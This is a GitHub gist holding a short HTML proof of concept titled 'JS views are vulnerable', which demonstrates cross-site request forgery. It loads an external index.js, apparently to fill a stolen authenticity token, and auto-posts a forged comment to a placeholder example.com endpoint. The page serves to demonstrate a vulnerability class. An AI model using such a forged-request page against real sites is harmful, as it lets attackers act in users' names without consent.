Skip to content

Instantly share code, notes, and snippets.

@MaksimAbramchuk
Last active January 19, 2016 17:30
Show Gist options
  • Save MaksimAbramchuk/6ff55fba301f743eca93 to your computer and use it in GitHub Desktop.
Save MaksimAbramchuk/6ff55fba301f743eca93 to your computer and use it in GitHub Desktop.
<html>
<head>
<script type=”text/javascript” src=”index.js”></script>
<title>JS views are vulnerable</title>
</head>
<body>
<form action=”http://example.com/comments" method=”POST”>
<input id=”token” type=”hidden” name=”authenticity_token” value=””>
<input type=”hidden” name=”comment[model_id]” value=”76678">
<input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>
<button type=”submit”>Hack it!</button>
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment